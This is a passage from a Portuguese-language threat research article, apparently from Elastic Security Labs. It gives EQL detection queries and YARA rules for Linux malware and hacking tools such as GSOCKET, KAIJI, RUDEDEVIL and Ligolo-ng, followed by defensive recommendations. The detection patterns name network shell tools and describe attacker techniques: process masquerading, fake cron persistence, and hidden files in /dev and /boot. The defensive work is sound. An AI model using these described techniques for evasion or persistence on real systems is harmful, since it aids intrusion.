Atividade potencial do GSOCKET

Esta atividade é o comportamento padrão ao implantar o GSOCKET por meio dos métodos de implantação recomendados. Além disso, vários argumentos são adicionados à consulta para diminuir as chances de perder uma intrusão mais personalizada por meio do GSOCKET.

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)

Possível mascaramento de processo via Exec

GSOCKET utiliza o método exec -a para executar um processo com um nome diferente. O GSOCKET utiliza especificamente máscaras como processos do kernel, mas outros malwares podem se mascarar de forma diferente.

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"

Execução Renice ou Ulimit

Vários malwares, incluindo KAIJI e RUDEDEVIL, utilizam o utilitário renice para alterar a prioridade dos processos ou definir limites de recursos para os processos. Isso é comumente usado por malware de mineração para aumentar a prioridade dos processos de mineração e maximizar o desempenho da mineração.

process where event.type == "start" and event.action == "exec" and (
  process.name in ("ulimit", "renice") or (
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
  process.command_line : ("*ulimit*", "*renice*")
  )
)

Serviço Cron(d) inexistente iniciado

Tanto KAIJI quanto RUDEDEVIL estabelecem persistência por meio da criação de um serviço cron(d) em /etc/init.d/cron(d). Cron, por padrão, não usa um serviço SysV Init . A execução de um serviço cron(d) é suspeita e deve ser analisada mais detalhadamente.

process where event.type == "start" and event.action == "exec" and 
  process.name == "systemctl" and process.args == "start" and process.args in 
  ("cron.service", "crond.service", "cron", "crond")

Execução de processo /etc/ suspeito do KAIJI

O diretório /etc/ não é um diretório comumente usado para execuções de processos. KAIJI é conhecido por colocar um binário chamado 32678 e id.services.conf no diretório /etc/ , para estabelecer persistência e evitar detecção.

process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))

Criação de arquivo oculto no diretório /dev/

A criação de arquivos ocultos em /dev/ e /dev/shm/ não é inerentemente maliciosa, no entanto, essa atividade deve ser incomum. KAIJI, GSOCKET e outros malwares como K4SPREADER são conhecidos por deixar arquivos ocultos nesses locais.

file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")

Execução de processo suspeito do executável pai em /boot/

Malwares como KAIJI e XORDDOS são conhecidos por colocar arquivos executáveis no diretório /boot/ e aproveitá-los para estabelecer persistência enquanto tentam evitar a detecção.

process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"

YARA

O Elastic Security criou regras YARA para identificar essa atividade. Abaixo está a regra YARA para identificar o malware personalizado Apache2 :

rule Linux_Trojan_Generic {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Trojan.Generic"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = "yyyyyyyy"
    condition:
        1 of ($enc*) and $key
}

Para detectar o GSOCKET, incluindo várias de suas ferramentas adjacentes, criamos a seguinte assinatura:

rule Multi_Hacktool_Gsocket {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-23"
        os = "Linux, MacOS"
        arch = "x86"
        threat_name = "Multi.Hacktool.Gsocket"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $str1 = "gsocket: gs_funcs not found"
        $str2 = "/share/gsocket/gs_funcs"
        $str3 = "$GSOCKET_ARGS"
        $str4 = "GSOCKET_SECRET"
        $str5 = "GS_HIJACK_PORTS"
        $str6 = "sftp -D gs-netcat"
        $str7 = "GS_NETCAT_BIN"
        $str8 = "GSOCKET_NO_GREETINGS"
        $str9 = "GS-NETCAT(1)"
        $str10 = "GSOCKET_SOCKS_IP"
        $str11 = "GSOCKET_SOCKS_PORT"
        $str12 = "gsocket(1)"
        $str13 = "gs-sftp(1)"
        $str14 = "gs-mount(1)"
    condition:
        3 of them
}

Por fim, a assinatura a seguir foi escrita para detectar a ferramenta de código aberto Ligolo-ng, pois temos motivos para acreditar que essa ferramenta foi usada durante essa intrusão.

rule Linux_Hacktool_LigoloNG {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Hacktool.LigoloNG"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $a = "https://github.com/nicocha30/ligolo-ng"
        $b = "@Nicocha30!"
        $c = "Ligolo-ng %s / %s / %s"
    condition:
        all of them
}

Recomendações de defesa

Para se defender efetivamente contra campanhas de malware e minimizar o risco de intrusão, é crucial implementar uma abordagem de segurança em várias camadas. Aqui estão algumas medidas defensivas importantes que você deve priorizar:

1. Mantenha suas regras de detecção elástica atualizadas e habilitadas: certifique-se de que suas ferramentas de segurança, incluindo quaisquer regras de detecção pré-criadas, estejam atualizadas. Atualizações contínuas permitem que seus sistemas detectem as últimas assinaturas e comportamentos de malware.
2. Habilitar modo de prevenção no Elastic Defend: configure o Elastic Defend no modo de prevenção para bloquear automaticamente ameaças conhecidas em vez de apenas alertar sobre elas. O modo de prevenção garante defesa proativa contra malware e explorações.
3. Monitore alertas e registros: monitore regularmente alertas, registros e servidores em busca de quaisquer sinais de atividade suspeita. A detecção precoce de comportamento incomum pode ajudar a evitar que uma pequena violação se transforme em um comprometimento total.
4. Realize a busca por ameaças: investigue proativamente seu ambiente em busca de ameaças ocultas que podem ter escapado à detecção. A busca por ameaças pode revelar ataques avançados e malware persistente que contornam as medidas de segurança tradicionais.
5. Implemente firewalls de aplicativos da Web (WAFs): use um WAF para bloquear tráfego não autorizado ou malicioso. Um firewall configurado corretamente pode evitar muitos ataques comuns na web.
6. Aplicar autenticação forte para SSH: use autenticação de chave pública/privada para acesso SSH para proteger contra ataques de força bruta.
7. Escreva código seguro: garanta que todo software personalizado, especialmente a tecnologia de servidor web, siga práticas de codificação seguras. Contratar auditores de segurança profissionais para revisar seu código pode ajudar a identificar e mitigar vulnerabilidades antes que elas sejam exploradas.
8. Aplique patches e atualize os sistemas regularmente: manter servidores, aplicativos e softwares atualizados é essencial para se defender contra vulnerabilidades conhecidas. A aplicação rápida de patches minimiza o risco de ser alvo de exploits prontos para uso.

Ao seguir essas recomendações, você pode reduzir significativamente a superfície de ataque e fortalecer sua defesa contra ameaças de malware atuais ou potenciais.

Observações

Os seguintes observáveis foram discutidos nesta pesquisa. Eles estão disponíveis para download em formato STIX ou ECS aqui.

Referências

Os seguintes itens foram referenciados ao longo da pesquisa acima:

• https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
• https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/
• https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities
• https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/
• https://github.com/hackerschoice/gsocket